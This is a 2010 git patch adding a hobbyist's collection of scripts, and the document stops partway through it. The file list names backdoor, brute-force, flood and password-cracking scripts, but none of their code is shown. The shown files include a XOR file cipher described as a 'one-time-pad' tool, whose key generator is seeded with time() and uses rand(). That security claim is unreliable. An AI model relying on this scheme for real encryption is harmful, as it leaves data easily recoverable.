From 8de513042b62d49783567965c443f9dc8d48ce94 Mon Sep 17 00:00:00 2001 From: Harvie Date: Tue, 25 May 2010 03:13:32 +0200 Subject: [PATCH] Added lot of junk laying around on harvie.cz --- bash/cterm.sh | 15 + c/crypt/BIN/usage.txt | 23 + c/crypt/Makefile.win | 33 + c/crypt/crypt.ICO | Bin 0 -> 766 bytes c/crypt/crypt.c | 20 + c/crypt/crypt.dev | 59 ++ c/crypt/crypt_private.h | 23 + c/crypt/crypt_private.rc | 37 + c/crypt/crypt_private.res | Bin 0 -> 1788 bytes c/crypt/keygen.c | 27 + c/crypt/randomizer.dev | 59 ++ c/crypt/randomizer.ico | Bin 0 -> 766 bytes c/crypt/randomizer_private.h | 23 + c/crypt/randomizer_private.rc | 37 + c/crypt/randomizer_private.res | Bin 0 -> 1752 bytes c/lkm-old/Makefile | 9 + c/lkm-old/Module.symvers | 0 c/lkm-old/hello.c | 15 + c/lkm-old/hello2.c | 25 + c/lkm-old/hello2.ko | Bin 0 -> 2429 bytes c/lkm-old/hello2.mod.c | 27 + c/pic/Makefile.win | 33 + c/pic/main.cpp | 22 + c/pic/pic.dev | 50 + c/pic/pic.layout | 5 + c/sdl-old/SDL.h | 94 ++ c/sdl-old/SDL_main.h | 98 ++ c/sdl-old/libSDL.dll.a | Bin 0 -> 123944 bytes c/sdl-old/libSDL.la | 35 + c/sdl-old/libSDLmain.a | Bin 0 -> 202612 bytes c/sdl-old/main.c | 77 ++ java/Metody.java | 73 ++ .../src/crosscrypt/+libs/swing-layout-1.0.jar | Bin 0 -> 140545 bytes java/jCrossCrypt/src/crosscrypt/README.TXT | 12 + java/jCrossCrypt/src/crosscrypt/bluej.pkg | 9 + java/jCrossCrypt/src/crosscrypt/bluej.pkh | 9 + java/jCrossCrypt/src/crosscrypt/build.xml | 76 ++ java/jCrossCrypt/src/crosscrypt/hlavokno.form | 163 ++++ java/jCrossCrypt/src/crosscrypt/hlavokno.java | 241 +++++ .../src/crosscrypt/nbproject/build-impl.xml | 594 ++++++++++++ .../nbproject/private/private.properties | 6 + .../crosscrypt/nbproject/private/private.xml | 4 + .../crosscrypt/nbproject/project.properties | 48 + .../src/crosscrypt/nbproject/project.xml | 16 + php/batstat.php | 53 ++ php/crawler/old/crawler.php | 138 +++ php/crawler/old/emails.php | 70 ++ php/crawler/old/rfind.php | 34 + php/encfs/a/.encfs6.xml | 29 + php/encfs/encfs.php | 53 ++ php/encfs/index.html | 1 + php/encfs/php-encfs.php | 32 + php/evolutia.php | 95 ++ php/frekvencni_analyza/analyze_language.php | 75 ++ php/frekvencni_analyza/cipher.txt | 158 ++++ php/frekvencni_analyza/czech.txt | 219 +++++ php/game-of-life/glider.txt | 30 + php/game-of-life/golife.php | 154 +++ php/game-of-life/life.txt | 14 + php/game-of-life/spacefiller.cells | 55 ++ php/location.php | 1 + php/mc | 26 + php/phpbb_member_sucker.php | 13 + php/rand.php | 16 + php/randscan.php | 39 + php/rozvrh.atom.phps | 78 ++ php/rozvrh.rss.php | 36 + php/rozvrh.rss.phps | 33 + php/skripty/NE_tcp_service_checker.php | 26 + php/skripty/ascii.php | 19 + php/skripty/backdoor.php | 111 +++ php/skripty/bdscan.php | 83 ++ php/skripty/bigflood.php | 25 + php/skripty/bruteForcer.php | 90 ++ php/skripty/bruteforcer2.php | 25 + php/skripty/char_case_brute.php | 62 ++ php/skripty/cmd.php | 23 + php/skripty/cpuload.php | 42 + php/skripty/crdemo.php | 8 + php/skripty/decode_binary_text.php | 357 +++++++ php/skripty/dir_tree.php | 49 + php/skripty/fce.php | 65 ++ php/skripty/find_recursive.php | 29 + php/skripty/fork.php | 12 + php/skripty/grep.php | 35 + php/skripty/httget.php | 10 + php/skripty/http_serv.php | 61 ++ php/skripty/http_server.php | 163 ++++ php/skripty/http_server_old.php | 88 ++ php/skripty/integrity_check.php | 10 + php/skripty/irc_bdoor.php | 162 ++++ php/skripty/irc_bot.php | 180 ++++ php/skripty/jyxobot.php | 82 ++ php/skripty/lomena.php | 85 ++ php/skripty/lyrics_bot.php | 49 + php/skripty/m3u_browser.php | 18 + php/skripty/mail.php | 13 + php/skripty/mailcheck.php | 83 ++ php/skripty/matrix.php | 53 ++ php/skripty/md5crack.php | 50 + php/skripty/mem_kill.php | 28 + php/skripty/microtime.php | 13 + php/skripty/multi_terminal.php | 26 + php/skripty/nadruhou.php | 84 ++ php/skripty/php_brainfuck.php | 28 + php/skripty/php_demo.php | 29 + php/skripty/php_shell.php | 38 + php/skripty/pico.php | 19 + php/skripty/ping.php | 83 ++ php/skripty/pop3crack.php | 49 + php/skripty/pop3test.php | 33 + php/skripty/proc_test.php | 15 + php/skripty/prvocisla.php | 39 + php/skripty/rada_crack.php | 62 ++ php/skripty/rada_crack2.php | 112 +++ php/skripty/rada_crack3.php | 125 +++ php/skripty/serv_kill.php | 17 + php/skripty/service_checker.php | 19 + php/skripty/sinus_curve.php | 55 ++ php/skripty/stdin_socket.php | 22 + php/skripty/sudoku_web.php | 145 +++ php/skripty/terminal_client.php | 22 + php/skripty/terminal_connect.php | 11 + php/skripty/terminal_server.php | 21 + php/skripty/tictactoe.php | 111 +++ php/skripty/wmvbot.php | 78 ++ php/skripty/xor_8bits.php | 16 + php/skripty/xor_enc.php | 84 ++ php/sshb.php | 17 + php/streamrip | 62 ++ php/stredni-php/data.txt | 1 + php/stredni-php/delete.php | 8 + php/stredni-php/gbook.txt | 1 + php/stredni-php/gbook2.php | 225 +++++ php/stredni-php/index_skola.php | 77 ++ php/stredni-php/jurasek_gbook.txt | 879 ++++++++++++++++++ php/stredni-php/mailer/mail.html | 7 + php/stredni-php/mailer/mail.php | 6 + php/stredni-php/main.html | 0 php/stredni-php/phpinfo.php | 1 + php/stredni-php/pocitadlo.php | 15 + php/stredni-php/pocitadlo.txt | 1 + php/stredni-php/pocitadlo2.php | 20 + php/stredni-php/redakce/gbook.txt | 1 + php/stredni-php/redakce/gbook2.php | 225 +++++ php/stredni-php/redakce/redakce.php | 41 + php/stredni-php/ukaz.php | 5 + php/stredni-php/zadejjm.php | 10 + php/telnet | 19 + php/term.php | 62 ++ php/testauth.php | 4 + php/urls.php | 6 + 152 files changed, 8794 insertions(+) create mode 100755 bash/cterm.sh create mode 100644 c/crypt/BIN/usage.txt create mode 100644 c/crypt/Makefile.win create mode 100644 c/crypt/crypt.ICO create mode 100644 c/crypt/crypt.c create mode 100644 c/crypt/crypt.dev create mode 100644 c/crypt/crypt_private.h create mode 100644 c/crypt/crypt_private.rc create mode 100644 c/crypt/crypt_private.res create mode 100644 c/crypt/keygen.c create mode 100644 c/crypt/randomizer.dev create mode 100644 c/crypt/randomizer.ico create mode 100644 c/crypt/randomizer_private.h create mode 100644 c/crypt/randomizer_private.rc create mode 100644 c/crypt/randomizer_private.res create mode 100644 c/lkm-old/Makefile create mode 100644 c/lkm-old/Module.symvers create mode 100644 c/lkm-old/hello.c create mode 100644 c/lkm-old/hello2.c create mode 100644 c/lkm-old/hello2.ko create mode 100644 c/lkm-old/hello2.mod.c create mode 100644 c/pic/Makefile.win create mode 100644 c/pic/main.cpp create mode 100644 c/pic/pic.dev create mode 100644 c/pic/pic.layout create mode 100644 c/sdl-old/SDL.h create mode 100644 c/sdl-old/SDL_main.h create mode 100644 c/sdl-old/libSDL.dll.a create mode 100644 c/sdl-old/libSDL.la create mode 100644 c/sdl-old/libSDLmain.a create mode 100644 c/sdl-old/main.c create mode 100755 java/Metody.java create mode 100644 java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar create mode 100644 java/jCrossCrypt/src/crosscrypt/README.TXT create mode 100644 java/jCrossCrypt/src/crosscrypt/bluej.pkg create mode 100644 java/jCrossCrypt/src/crosscrypt/bluej.pkh create mode 100644 java/jCrossCrypt/src/crosscrypt/build.xml create mode 100644 java/jCrossCrypt/src/crosscrypt/hlavokno.form create mode 100644 java/jCrossCrypt/src/crosscrypt/hlavokno.java create mode 100644 java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml create mode 100644 java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties create mode 100644 java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml create mode 100644 java/jCrossCrypt/src/crosscrypt/nbproject/project.properties create mode 100644 java/jCrossCrypt/src/crosscrypt/nbproject/project.xml create mode 100755 php/batstat.php create mode 100644 php/crawler/old/crawler.php create mode 100755 php/crawler/old/emails.php create mode 100755 php/crawler/old/rfind.php create mode 100755 php/encfs/a/.encfs6.xml create mode 100755 php/encfs/encfs.php create mode 100755 php/encfs/index.html create mode 100755 php/encfs/php-encfs.php create mode 100755 php/evolutia.php create mode 100755 php/frekvencni_analyza/analyze_language.php create mode 100644 php/frekvencni_analyza/cipher.txt create mode 100644 php/frekvencni_analyza/czech.txt create mode 100644 php/game-of-life/glider.txt create mode 100644 php/game-of-life/golife.php create mode 100644 php/game-of-life/life.txt create mode 100644 php/game-of-life/spacefiller.cells create mode 100644 php/location.php create mode 100755 php/mc create mode 100644 php/phpbb_member_sucker.php create mode 100644 php/rand.php create mode 100644 php/randscan.php create mode 100755 php/rozvrh.atom.phps create mode 100644 php/rozvrh.rss.php create mode 100755 php/rozvrh.rss.phps create mode 100644 php/skripty/NE_tcp_service_checker.php create mode 100644 php/skripty/ascii.php create mode 100644 php/skripty/backdoor.php create mode 100644 php/skripty/bdscan.php create mode 100644 php/skripty/bigflood.php create mode 100644 php/skripty/bruteForcer.php create mode 100644 php/skripty/bruteforcer2.php create mode 100644 php/skripty/char_case_brute.php create mode 100644 php/skripty/cmd.php create mode 100644 php/skripty/cpuload.php create mode 100644 php/skripty/crdemo.php create mode 100644 php/skripty/decode_binary_text.php create mode 100644 php/skripty/dir_tree.php create mode 100644 php/skripty/fce.php create mode 100644 php/skripty/find_recursive.php create mode 100644 php/skripty/fork.php create mode 100644 php/skripty/grep.php create mode 100644 php/skripty/httget.php create mode 100644 php/skripty/http_serv.php create mode 100644 php/skripty/http_server.php create mode 100644 php/skripty/http_server_old.php create mode 100644 php/skripty/integrity_check.php create mode 100644 php/skripty/irc_bdoor.php create mode 100644 php/skripty/irc_bot.php create mode 100644 php/skripty/jyxobot.php create mode 100644 php/skripty/lomena.php create mode 100644 php/skripty/lyrics_bot.php create mode 100644 php/skripty/m3u_browser.php create mode 100644 php/skripty/mail.php create mode 100644 php/skripty/mailcheck.php create mode 100644 php/skripty/matrix.php create mode 100644 php/skripty/md5crack.php create mode 100644 php/skripty/mem_kill.php create mode 100644 php/skripty/microtime.php create mode 100644 php/skripty/multi_terminal.php create mode 100644 php/skripty/nadruhou.php create mode 100644 php/skripty/php_brainfuck.php create mode 100644 php/skripty/php_demo.php create mode 100644 php/skripty/php_shell.php create mode 100644 php/skripty/pico.php create mode 100644 php/skripty/ping.php create mode 100644 php/skripty/pop3crack.php create mode 100644 php/skripty/pop3test.php create mode 100644 php/skripty/proc_test.php create mode 100644 php/skripty/prvocisla.php create mode 100644 php/skripty/rada_crack.php create mode 100644 php/skripty/rada_crack2.php create mode 100644 php/skripty/rada_crack3.php create mode 100644 php/skripty/serv_kill.php create mode 100644 php/skripty/service_checker.php create mode 100644 php/skripty/sinus_curve.php create mode 100644 php/skripty/stdin_socket.php create mode 100644 php/skripty/sudoku_web.php create mode 100644 php/skripty/terminal_client.php create mode 100644 php/skripty/terminal_connect.php create mode 100644 php/skripty/terminal_server.php create mode 100644 php/skripty/tictactoe.php create mode 100644 php/skripty/wmvbot.php create mode 100644 php/skripty/xor_8bits.php create mode 100644 php/skripty/xor_enc.php create mode 100644 php/sshb.php create mode 100755 php/streamrip create mode 100755 php/stredni-php/data.txt create mode 100755 php/stredni-php/delete.php create mode 100755 php/stredni-php/gbook.txt create mode 100755 php/stredni-php/gbook2.php create mode 100755 php/stredni-php/index_skola.php create mode 100755 php/stredni-php/jurasek_gbook.txt create mode 100755 php/stredni-php/mailer/mail.html create mode 100755 php/stredni-php/mailer/mail.php create mode 100755 php/stredni-php/main.html create mode 100755 php/stredni-php/phpinfo.php create mode 100755 php/stredni-php/pocitadlo.php create mode 100755 php/stredni-php/pocitadlo.txt create mode 100755 php/stredni-php/pocitadlo2.php create mode 100755 php/stredni-php/redakce/gbook.txt create mode 100755 php/stredni-php/redakce/gbook2.php create mode 100755 php/stredni-php/redakce/redakce.php create mode 100755 php/stredni-php/ukaz.php create mode 100755 php/stredni-php/zadejjm.php create mode 100755 php/telnet create mode 100755 php/term.php create mode 100755 php/testauth.php create mode 100644 php/urls.php diff --git a/bash/cterm.sh b/bash/cterm.sh new file mode 100755 index 0000000..df65708 --- /dev/null +++ b/bash/cterm.sh @@ -0,0 +1,15 @@ +#!/bin/cat +DEMOnstration of PHPTerm for Unixs' terminals +xterm - gnome-terminal (/bin/bash) + <-Harvie 2oo7 + +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + diff --git a/c/crypt/BIN/usage.txt b/c/crypt/BIN/usage.txt new file mode 100644 index 0000000..700f5a6 --- /dev/null +++ b/c/crypt/BIN/usage.txt @@ -0,0 +1,23 @@ +Harvie's symetric encoding toolkit. + + +USAGE: + +1. Generate key: + keygen 128 > key.txt + - keygen --help for more options + - this will 128 generate pseudorandom bytes (if number is not specified, 1024 will be used instead) + - 128 may be size of encrypted file in bytes for optimal security. + - You can use any file (MP3, EXE, etc...) instead of this. + - The key mustn't contains the lots of NULL bytes + +2. Encrypt + crypt key.txt file.to.process file.output + - crypt for more options + - key.txt is some file used as key + - file.to.process is file to encrypt/decrypt by key (if not specified, STDIN is used) + - file.output is output of process (if not specified, STDOUT is used) + +3. Decrypt + crypt key.txt file.output file.plain + - decrypting is done the same way as encrypting, you need the same key for decrypting and for encrypting. \ No newline at end of file diff --git a/c/crypt/Makefile.win b/c/crypt/Makefile.win new file mode 100644 index 0000000..d748403 --- /dev/null +++ b/c/crypt/Makefile.win @@ -0,0 +1,33 @@ +# Project: crypt +# Makefile created by Dev-C++ 4.9.9.2 + +CPP = g++.exe +CC = gcc.exe +WINDRES = windres.exe +RES = crypt_private.res +OBJ = crypt.o $(RES) +LINKOBJ = crypt.o $(RES) +LIBS = -L"C:/Dev-Cpp/lib" +INCS = -I"C:/Dev-Cpp/include" +CXXINCS = -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include" -I"C:/Dev-Cpp/include/c++/3.4.2/backward" -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32" -I"C:/Dev-Cpp/include/c++/3.4.2" -I"C:/Dev-Cpp/include" +BIN = crypt.exe +CXXFLAGS = $(CXXINCS) -fexpensive-optimizations -O3 +CFLAGS = $(INCS) -fexpensive-optimizations -O3 +RM = rm -f + +.PHONY: all all-before all-after clean clean-custom + +all: all-before crypt.exe all-after + + +clean: clean-custom + ${RM} $(OBJ) $(BIN) + +$(BIN): $(OBJ) + $(CC) $(LINKOBJ) -o "crypt.exe" $(LIBS) + +crypt.o: crypt.c + $(CC) -c crypt.c -o crypt.o $(CFLAGS) + +crypt_private.res: crypt_private.rc + $(WINDRES) -i crypt_private.rc --input-format=rc -o crypt_private.res -O coff diff --git a/c/crypt/crypt.ICO b/c/crypt/crypt.ICO new file mode 100644 index 0000000000000000000000000000000000000000..c50726b4e05843f44f9fa45da950a8991ff362df GIT binary patch literal 766 zcmbV~u~vpK424tioU+x)nbEh=M?Gn}NO;>`I!`zx?4&mnWQEu{eDRxU0joHRcMSM& mfWO5XK2Hq9)-#Yd@8C_d;0 +#include + +int main(int argc, char *argv[]) +{ + int k, i; //Key, In, + //char sfkey[128] sfin[128], sfout[128]; + if (argc <= 1 || argc > 4 ) { printf("Usage: crypt key [in] [out]\n"); return 1; } + FILE* fkey = fopen(argv[1], "rb"); //Open Key + if (argc >= 3) { freopen(argv[2], "rb", stdin); } //Reopen stdin + if (argc == 4) { freopen(argv[3], "wb", stdout); } //Reopen stdout + + while( (i = getchar()) != EOF ) { + if ( (k = getc(fkey)) == EOF ) + { fseek(fkey, 0L, SEEK_SET); k = getc(fkey); } + //printf("%d: %c\n", k, k); sleep(1); //Debug + putchar(i^k); + } + return 0; +} diff --git a/c/crypt/crypt.dev b/c/crypt/crypt.dev new file mode 100644 index 0000000..2a4fced --- /dev/null +++ b/c/crypt/crypt.dev @@ -0,0 +1,59 @@ +[Project] +FileName=crypt.dev +Name=crypt +UnitCount=1 +Type=1 +Ver=1 +ObjFiles= +Includes= +Libs= +PrivateResource=crypt_private.rc +ResourceIncludes= +MakeIncludes= +Compiler= +CppCompiler= +Linker= +IsCpp=0 +Icon=crypt.ico +ExeOutput= +ObjectOutput= +OverrideOutput=1 +OverrideOutputName=crypt.exe +HostApplication= +Folders= +CommandLine= +UseCustomMakefile=0 +CustomMakefile= +IncludeVersionInfo=1 +SupportXPThemes=0 +CompilerSet=0 +CompilerSettings=0000000001001000000000 + +[Unit1] +FileName=crypt.c +CompileCpp=0 +Folder= +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + +[VersionInfo] +Major=1 +Minor=1 +Release=1 +Build=1 +LanguageID=2057 +CharsetID=1252 +CompanyName=Harvie 2oo7 +FileVersion= +FileDescription=F(u)XOR : One-time-pad cryptographic tool +InternalName= +LegalCopyright= +LegalTrademarks= +OriginalFilename= +ProductName= +ProductVersion= +AutoIncBuildNr=1 + diff --git a/c/crypt/crypt_private.h b/c/crypt/crypt_private.h new file mode 100644 index 0000000..79db3a1 --- /dev/null +++ b/c/crypt/crypt_private.h @@ -0,0 +1,23 @@ +/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */ +/* DO NOT EDIT ! */ + +#ifndef CRYPT_PRIVATE_H +#define CRYPT_PRIVATE_H + +/* VERSION DEFINITIONS */ +#define VER_STRING "1.1.1.2" +#define VER_MAJOR 1 +#define VER_MINOR 1 +#define VER_RELEASE 1 +#define VER_BUILD 2 +#define COMPANY_NAME "Harvie 2oo7" +#define FILE_VERSION "" +#define FILE_DESCRIPTION "F(u)XOR : One-time-pad cryptographic tool" +#define INTERNAL_NAME "" +#define LEGAL_COPYRIGHT "" +#define LEGAL_TRADEMARKS "" +#define ORIGINAL_FILENAME "" +#define PRODUCT_NAME "" +#define PRODUCT_VERSION "" + +#endif /*CRYPT_PRIVATE_H*/ diff --git a/c/crypt/crypt_private.rc b/c/crypt/crypt_private.rc new file mode 100644 index 0000000..addf487 --- /dev/null +++ b/c/crypt/crypt_private.rc @@ -0,0 +1,37 @@ +/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */ +/* DO NOT EDIT! */ + +#include // include for version info constants + + +A ICON MOVEABLE PURE LOADONCALL DISCARDABLE "crypt.ico" + +// +// TO CHANGE VERSION INFORMATION, EDIT PROJECT OPTIONS... +// +1 VERSIONINFO +FILEVERSION 1,1,1,2 +PRODUCTVERSION 1,1,1,2 +FILETYPE VFT_APP +{ + BLOCK "StringFileInfo" + { + BLOCK "080904E4" + { + VALUE "CompanyName", "Harvie 2oo7" + VALUE "FileVersion", "" + VALUE "FileDescription", "F(u)XOR : One-time-pad cryptographic tool" + VALUE "InternalName", "" + VALUE "LegalCopyright", "" + VALUE "LegalTrademarks", "" + VALUE "OriginalFilename", "" + VALUE "ProductName", "" + VALUE "ProductVersion", "" + } + } + BLOCK "VarFileInfo" + { + VALUE "Translation", 0x0809, 1252 + } +} + diff --git a/c/crypt/crypt_private.res b/c/crypt/crypt_private.res new file mode 100644 index 0000000000000000000000000000000000000000..8091efe633ca1318d7e3a8c51392f889bf889ef3 GIT binary patch literal 1788 zcmbW2OKTHR6vxjr!AU_(7p^6UhzgY=1*-^Fti?hxVx_o~kj7YSlaNMZLCEaP!VlrX z58O zljR+;Td1FrN(FdcWQ35~%DF|A>Q(w>?j!Wd9|mH zU^^$^zZg2h>lC`@{R#M8Vu9R|pUC|QmXyBI{8?`x_pv|Z;>;x#cpeUfMxiJdH^;#e zCDo(IhSwEUMxzlDMV$S`In`i(>eA)EXgG|I>?@D^hds{q`+ZIk8aOu&rA#^7RZ`8R zF~W)MvIO8AeBf~7j*D^l3S~CAa$Js+^qRSYEn%qDL~Z`D>m>28KZwcbVyjL#9;@lZ z+d!#SPP${i?slQLG`*&Dz7~2Z0?I&n3X@vqEJdY=Rv5qEk0g9Oj1(EF`4&~Bk$RPm zn2FQYFr7HG!_o|C&@O6b4vwSEfcn)USxhgC2 zl=YrGLR*rmJiuOJT|`&={~-o^)khTGAxjx@<^;%q@8) zZJ^(5(~Qi?jNE`{=|MZ1lhahW3uaR~QUkwDH#Mw=6}XSyl~?3z@a$d#*Ou!<&RcK3 z&MMKaY=LT%!P6VL0?K0+z-&p~dhF0^hF#>1_fjtNzN>OB6}bsl$EpQu$CKI`6Gb|HtT2xP=LvB6ACOLcQAUZ`L z8Sb%FU1Q%S`?~UixjZGQv01z2;1MJd8Q+v=^*_ wRqMxB%dWo21u23^I&abM2FUz1m@IuS?pO{U1o2;lP<9V|`7c_4w_q9n0f~4wkpKVy literal 0 HcmV?d00001 diff --git a/c/crypt/keygen.c b/c/crypt/keygen.c new file mode 100644 index 0000000..3b426d9 --- /dev/null +++ b/c/crypt/keygen.c @@ -0,0 +1,27 @@ +#include +#include + +int main(int argc, char *argv[]) +{ + int r; + float i; + i = 1024; //Cycles + if(argc > 1) { + if( strcmp(argv[1], "-h") == 0 || strcmp(argv[1], "--help") == 0 || strcmp(argv[1], "/?") == 0 ) { + printf("Usage: keygen [X] [> key.txt]\n"); + printf("keygen - generates 1024 random chars (bytes) to stdin\n"); + printf("keygen X - generates X random chars (bytes) to stdin\n"); + printf("keygen [X] > key.txt - generates X random chars (bytes) to key.txt\n"); + } + i = atof(argv[1]); + } + srand(time(0)); + while(i>0) { + r = rand(); + putchar(r); + //sleep(500); + i--; + } + //system("PAUSE"); + return 0; +} diff --git a/c/crypt/randomizer.dev b/c/crypt/randomizer.dev new file mode 100644 index 0000000..9fc6835 --- /dev/null +++ b/c/crypt/randomizer.dev @@ -0,0 +1,59 @@ +[Project] +FileName=randomizer.dev +Name=keygen +UnitCount=1 +Type=1 +Ver=1 +ObjFiles= +Includes= +Libs= +PrivateResource=randomizer_private.rc +ResourceIncludes= +MakeIncludes= +Compiler= +CppCompiler= +Linker= +IsCpp=0 +Icon=randomizer.ico +ExeOutput= +ObjectOutput= +OverrideOutput=1 +OverrideOutputName=keygen.exe +HostApplication= +Folders= +CommandLine= +UseCustomMakefile=0 +CustomMakefile= +IncludeVersionInfo=1 +SupportXPThemes=0 +CompilerSet=0 +CompilerSettings=0000000001001000000000 + +[Unit1] +FileName=keygen.c +CompileCpp=0 +Folder= +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + +[VersionInfo] +Major=1 +Minor=1 +Release=1 +Build=1 +LanguageID=2057 +CharsetID=1252 +CompanyName=Harvie 2oo7 +FileVersion= +FileDescription=Random bytes generator +InternalName= +LegalCopyright= +LegalTrademarks= +OriginalFilename= +ProductName= +ProductVersion= +AutoIncBuildNr=1 + diff --git a/c/crypt/randomizer.ico b/c/crypt/randomizer.ico new file mode 100644 index 0000000000000000000000000000000000000000..27234e13f580523ca9b26ed7182d56c68eed44a1 GIT binary patch literal 766 zcmchUJyOLm41_m42Hb^;mXzEAj=~Y>UKw?9=PTtXl$5VaI`c`+WFAb04%S)8t5y7y zNF8Gs9_0AEksis_&}8wfYP)yyW4ZF`XUSl2kZ^ zA1h!@TiJAOTD_{3HPvj<@4osA#f+xT`{7%%QmOCjxo&=}pR*Mzd%tV-p<}&F|2JQu z_Vw~loh@D8XGM>W_m)NuJS~=%g|s?NDNGv9D&xqFr^T_Qi^lJv_k<{tCl&&hP_rA+37r4z`HW7n=?L // include for version info constants + + +A ICON MOVEABLE PURE LOADONCALL DISCARDABLE "randomizer.ico" + +// +// TO CHANGE VERSION INFORMATION, EDIT PROJECT OPTIONS... +// +1 VERSIONINFO +FILEVERSION 1,1,1,2 +PRODUCTVERSION 1,1,1,2 +FILETYPE VFT_APP +{ + BLOCK "StringFileInfo" + { + BLOCK "080904E4" + { + VALUE "CompanyName", "Harvie 2oo7" + VALUE "FileVersion", "" + VALUE "FileDescription", "Random bytes generator" + VALUE "InternalName", "" + VALUE "LegalCopyright", "" + VALUE "LegalTrademarks", "" + VALUE "OriginalFilename", "" + VALUE "ProductName", "" + VALUE "ProductVersion", "" + } + } + BLOCK "VarFileInfo" + { + VALUE "Translation", 0x0809, 1252 + } +} + diff --git a/c/crypt/randomizer_private.res b/c/crypt/randomizer_private.res new file mode 100644 index 0000000000000000000000000000000000000000..bcde881f29e7a3d288fcd90e64cf301d49db5394 GIT binary patch literal 1752 zcmcgt&ubG=5dO9e%@)M;Ab8V7M8ty>DOf>h#9AyAD~$vXg2pDc#Wo3>Xz`SH%ii{1 z@ZcXIq7XcL^eE!NLl1(zB`4Q!=Iu*1Avx+K^XARW_h!D?AIX;ILFDrSV0St1de{ng zHENfA=5BNQj#gxzS_FDDcv8BsAy%RizY3VMw2x_*Xd_yh49?R&#VPT{9Pm-V6jxU` zy(hLg1OG+QBfLx@XWq`he`C(W9sHs_nd6emSCT*H9NH85CX?q}2&hG>2NI=Z^BNc~ z#&$PGhnJOG^m;v7Zjk5~Ng_KcKN6DVKTG#m1gQaHk`P)d#`-2secnvTqkzQ313!t3 z`jSWCl);ET<2o7ehLWMW2!c=1tCU+YE0kL97>uwFFjN5;?2GoarQ zX21;ln!~yEqW3>YuqQ=T~yg-A8KPYAyt60V@>Iyjs zqg9+?^}ECzp@|CdZ^))Xucj^Ub06Y0>(vn825}ACWag4GbA8IphG-GhU + +int init_module (void) /* Loads a module in the kernel */ +{ +printk("Hello kernel\n"); +return 0; +} + +void cleanup_module(void) /* Removes module from kernel */ +{ +printk("GoodBye Kernel\n"); +} + + diff --git a/c/lkm-old/hello2.c b/c/lkm-old/hello2.c new file mode 100644 index 0000000..f4f279b --- /dev/null +++ b/c/lkm-old/hello2.c @@ -0,0 +1,25 @@ +/* + * hello-1.c - The simplest kernel module. + */ +#define MODULE +#include /* Needed by all modules */ +#include /* Needed for KERN_INFO */ + + +int init_module(void) +{ + printk("<0>Hello world 1.\n"); + /* + * A non 0 return means init_module failed; module can't be loaded. + */ + return 0; +} + +void cleanup_module(void) +{ + printk("<0>Goodbye world 1.\n"); +} + + + + diff --git a/c/lkm-old/hello2.ko b/c/lkm-old/hello2.ko new file mode 100644 index 0000000000000000000000000000000000000000..cf742cc5974e12312edc1dbb54e1ecd27736409e GIT binary patch literal 2429 zcmeHJOHUL*5bj|>5%GcXalpjB7?;C#b~Y>_1_%amF;PM=CdA8TcBW+~%=WA^vkE50 zJsMBk{WBz7{R#d6uij18uV%a1W)B8UxKT+@)mK$r-PMnp{=EL;nd3Ojki%RyM9@wQ zEb|2`u^VifwMhQ?yWj8c9JlTm`HgpUe0aFzt<;kwY#vDdAxYzqdt!<$RaQ1+94D5l z2#3#mnYR7iC|ItF1>r50YvuXH1>R1=Mpwm&A98}*>-DWC+b{WU5R~VI$3oeWD$JJA zzxD0=^DIxhLEb>8ZY)jUGxB`((`+Y=RK9n{4(I6BqBW|X;{X?-FIHf51?p>Sk9n!S z`Ff7yYKbbZRw@gg=hb+rlgd=a($C}^FFlpb$XA7rSFU<%f!aDJPUqB%fxmrGseNMp;3SG zn?!r4vAOPBz$G+8*iPJXV&s{|}Ed2B;x z`}F{NW)iUVbe~OdJKufedlNd!7b2s0ly9uL8MiP%XUL5E4vJG#f+06fmhGb@lQ}m5 z2!KqC8OSGNLMFej&_&*gd`f zz_&F10q)#oY#M_)^bh?Djr@@@zCBZ#k3A#8rx(LDKXE;Vdvb~g3b)v);RM`b$82ox zFvXu58X>vt>Ij}5!E_pi^ z(HWgVKCcE4uN7Kzhc&@Tru`(Wzzxy9vcb<+1V%u;0ccPip^8&HQfk0f{V9xiay0aN Y1XjEB1Sp-V+cA|WQqjp9MZY-y0P?WPHvj+t literal 0 HcmV?d00001 diff --git a/c/lkm-old/hello2.mod.c b/c/lkm-old/hello2.mod.c new file mode 100644 index 0000000..8aa9b7a --- /dev/null +++ b/c/lkm-old/hello2.mod.c @@ -0,0 +1,27 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + 